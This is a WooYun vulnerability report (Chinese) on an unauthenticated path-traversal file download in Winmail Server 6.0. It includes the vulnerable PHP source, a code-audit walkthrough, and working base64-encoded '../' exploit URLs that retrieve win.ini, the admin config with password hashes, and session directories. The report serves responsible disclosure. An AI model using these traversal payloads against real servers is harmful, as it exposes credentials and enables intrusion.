当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0189746

漏洞标题:Winmail Server 6.0邮件系统存在任意文件下载漏洞(无需登录)

相关厂商:www.magicwinmail.com

漏洞作者: 胡阿尤

提交时间:2016-03-27 22:40

修复时间:2016-06-29 10:50

公开时间:2016-06-29 10:50

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-31: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-25: 细节向核心白帽子及相关领域专家公开
2016-06-04: 细节向普通白帽子公开
2016-06-14: 细节向实习白帽子公开
2016-06-29: 细节向公众公开

简要描述:

人生中的第一个通用漏洞,记录一下挖掘过程。初学审计,野路子,大牛莫笑。
之前利用过http://www.wooyun.org/bugs/wooyun-2010-057890这个洞刷了一点rank,自此便知道了winmail这款邮件系统,也让我对审计牛们产生了无限的膜拜。
近日发现winmail发布了新版本6.0,加之昨天看到http://www.wooyun.org/bugs/wooyun-2016-018906这个洞,又勾起了我的无限遐想,于是下载安装后也正式开始我的代码审计之旅。

详细说明:

一、先展示效果
官方demo站地址:http://**.**.**.**

http://**.**.**.**:6080/viewsharenetdisk.php?userid=postmaster&opt=view&filename=Li4vLi4vLi4vLi4vLi4vLi4vd2luZG93cy93aW4uaW5p


100.JPG


可直接下载C:\windows\win.ini文件

http://**.**.**.**:6080/viewsharenetdisk.php?userid=postmaster&opt=view&filename=Li4vLi4vZGF0YS9hZG1pbnVzZXIuY2Zn


110.JPG


直接下载管理用户的配置,内含账号和口令hash哦

http://**.**.**.**:6080/viewsharenetdisk.php?userid=postmaster&opt=sharelink&filename=Li4vLi4vd2VibWFpbC90ZW1wL19zZXNzaW9ucw==


120.JPG


http://**.**.**.**:6080/viewsharenetdisk.php?userid=postmaster&opt=sharelink&filename=Li4vLi4vZGF0YQ==


130.JPG


目录文件直接列出来,点下载按钮可以直接下载的。由于会列出子目录中的内容,所以尽量不要列太高层的目录哈,不然会卡很久甚至卡死的。
二、挖掘过程
从上面的例子大家也已经看到了,存在问题的文件是viewsharenetdisk.php,该文件位于www目录下。

140.JPG


首先试了下,可以直接访问,我们再来一步一步看看需要什么参数,以及参数都有什么要求。

$userid = trim($userid);
$iPos = strpos($userid, '@');
if ($iPos !== false)
$domain = substr($userid, $iPos+1);
else
$domain = '';


if ($userid == ''){
$smarty->assign('errCode', 1);
$smarty->display($selected_theme.'/netdisk-viewshare.htm');
exit;
}
getlanguagetext($selected_common_language, 'NetDisk');
$domaininfo = load_domaininfo($domain);
$userinfo = load_userinfo($userid);
if ($domaininfo == false || $userinfo == false){
$smarty->assign('errCode', 1);
$smarty->display($selected_theme.'/netdisk-viewshare.htm');
exit;
}


可以看到,$userid不能为空,且load_userinfo($userid)的结果不能为false,这就需要一个确定存在的用户,还好系统有个默认用户postmaster。就算这个用户被禁用了,想找到一个有效的用户还是比较容易的。
$domain为$userid的@后面部分或者为空,这样就确定了url中应该有userid=postmaster@**.**.**.**,后来经过测试发现$domain为空时load_domaininfo($domain)会获取主域名的值,所以可以简化一下userid=postermaster。

150.JPG


页面的结果有些变化了,接着往下看

if ($filename != '') {
$filename = str_replace(' ', '+', $filename);
$filename = base64_decode($filename);
}


文件名不为空的话,将空格替换为+,然后base64解码,看来文件名参数应该是base64格式的了

$bAttach = false;
if ($chksum != '') {
if ($chksum != md5($userid.'|'.$filename.'|'.$start)) {
$smarty->assign('errCode', 1);
$smarty->display($selected_theme.'/netdisk-viewshare.htm');
exit;
}
echo var_dump($nowtime - $start > $netdisk_share_expire);
if ($nowtime - $start > $netdisk_share_expire) {
$smarty->assign('errCode', 1);
$smarty->display($selected_theme.'/netdisk-viewshare.htm');
exit;
}
$bAttach = true;
}
if ($bAttach == false) {
$ftp = new FtpShare($session_value['homedirectory']);
$share = $ftp->GetShare();
echo var_dump($session_value['homedirectory']);
if (!empty($share['enddate']) && $nowtime > $share['enddate']){
$smarty->assign('errCode', 1);
$smarty->display($selected_theme.'/calendar-viewshare.htm');
exit;
}

$share['password'] = Crypt_Decode($share['password']);
if (!empty($share['user']) && !empty($share['password'])) {
if (isset($_SERVER['HTTP_AUTHORIZATION'])) {
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));
}

$realmname = convert($ftp_share_title, false);
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) {
header('WWW-Authenticate: Basic realm="'.$realmname.'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required !';
exit;
}

$bAuthed = false;
if ($_SERVER['PHP_AUTH_USER'] == $share['user'] && $_SERVER['PHP_AUTH_PW'] == $share['password'])
$bAuthed = true;

if ($bAuthed == false) {
header('WWW-Authenticate: Basic realm="'.$realmname.'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Failure !';
exit;
}
}
}


有两个判断,里面各种exit,这个地方过不去的话就没办法继续往下走了,一下子紧张起来,在这里花费不少时间。
先看第一判断,最后一句是$bAttach = true;能到这一步,第二个判断就不用进去了,第二个代码那么长,里面还各种password,我当然不想进去了。
于是凑条件,$chksum不能为空,还得等于md5($userid.'|'.$filename.'|'.$start),然后$nowtime - $start还不能大于$netdisk_share_expire,就是现在的时间减去文件开始共享的时间,不能大于文件共享的有效期,好复杂,还好这里的$start可以控制,那么尽量让$nowtime - $start无限小就好了,这样$userid、$filename、$start基本都确定了,md5值也可以计算出来了,这个判断就算绕过了,不过好麻烦啊,每改一次文件名都得重新计算下md5.
事实证明,这里的确是把事情弄复杂了,挖掘完漏洞回过头来看这里的时候,发现第二个判断里面$share = $ftp->GetShare();获取用户的共享信息,如果没有共享的话,$share['enddate']、$share['user']、$share['password']都会是空,所以下面的两个子判断就直接跳过去了。
postmaster是默认用户,应该不会有人去用这个用户共享什么内容吧,所以这里的两个判断实际上无需理会。
接着往下走,就到了处理操作的部分了。

switch ($opt){
case 'view':
case 'download':
$ftpfile = $filename;
$iPos = strrpos($ftpfile, '/');
if ($iPos !== false)
$filename = substr($ftpfile, $iPos+1);
else
$filename = str_replace('/', '', $ftpfile);
if(!file_exists($temporary_directory.'_attachments'))
mkdir($temporary_directory.'_attachments');
if ($opt == 'view'){
$suffix = substr($filename, strrpos($filename, '.'));
$suffix = strtolower($suffix);
if (isset($mimetypes[$suffix]))
$contenttype = $mimetypes[$suffix];
else
$contenttype = 'application/octet-stream';
$disposition = 'inline';
}
else{
$contenttype = 'application/force-download';
$disposition = 'attachment';
}

$localfile = $ftphandle->ftp_home_directory.$ftpfile;
if (file_exists($localfile)) {
$length = filesize($localfile);

header('Content-type: '.$contenttype);
header('Content-Disposition: '.$disposition.'; filename="'.$filename.'"');
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
$fp = fopen($localfile, "rb");
if ($fp){
while(!feof($fp))
echo fread($fp, 655360);

fclose($fp);
}
}


$filename经过base64解密后,传到这里,并没有经过任何过滤,就赋值给了$ftpfile,而$ftpfile也没有经过任何过滤就拼接出了$localfile并传给了fopen函数,至此这个漏洞的真正成因弄清楚了。利用可以切换到上级目录的../,并结合文件的具体路径,经过base64编码后作为参数传入就可以下载任意指定文件了。
到这里本应该结束了,但是这样每查看一个文件都要进行编码好累啊,我又不会写脚本。想着应该不会这么费事的,下面还有个opt操作数,接着往下看吧。

case 'sharelink':
default:
if ($isdir != 1 && $filename != '') {
$dispFileInfo = $ftphandle->get_folder_file($filename);
}
else {
$dispdir = $filename.'/';
echo var_dump($dispdir);
$dispFileInfo = array();
$ftp = new FtpShare($session_value['homedirectory']);
$shareFtpFile = $ftp->GetAllShareFile();
foreach ($shareFtpFile as $shareItem) {


先看else下面的部分,$ftp->GetAllShareFile();postmaster没有共享内容,所以这里获取不到任何东西。就剩下$ftphandle->get_folder_file($filename);这里了。

function get_folder_file($ftpfolder) {
$filelist = array();
$temppath = $this->ftp_home_directory.$ftpfolder;
if (!file_exists($temppath))
return false;
if (is_dir($temppath)) {
$dh = opendir($temppath);
if ($dh){
while($file = readdir($dh)) {
if ($file == '.' || $file == '..')
continue;

$fullfolder = $ftpfolder.'/'.$file;
$subfolderinfo = $this->get_folder_file($fullfolder);

if ($subfolderinfo != false) {
foreach ($subfolderinfo as $item)
$filelist[] = $item;
}
}
}
}
else {
$info = array();

$info['name'] = $ftpfolder;
$info['date'] = filemtime($temppath);
$info['size'] = filesize($temppath);

$filelist[] = $info;
}

return $filelist;
}


这个函数位于/inc/class.ftpfolder.php文件中,可以看到只要传进来的参数是目录名,一样可以处理的。
好了,分析结束,心情有点激动,废话有点多,大家见谅。

漏洞证明:

由于新版本刚发布没多久,已经升级到6.0的还真不好找,终于找着一个,作为证明吧。
http://**.**.**.**/

http://**.**.**.**/viewsharenetdisk.php?userid=postmaster&opt=view&filename=Li4vLi4vZGF0YS9hZG1pbnVzZXIuY2Zn


160.JPG


http://**.**.**.**/viewsharenetdisk.php?userid=postmaster&opt=sharelink&filename=Li4vLi4vZGF0YQ==


170.JPG

修复方案:

过滤

版权声明:转载请注明来源 胡阿尤@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-03-31 10:42

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无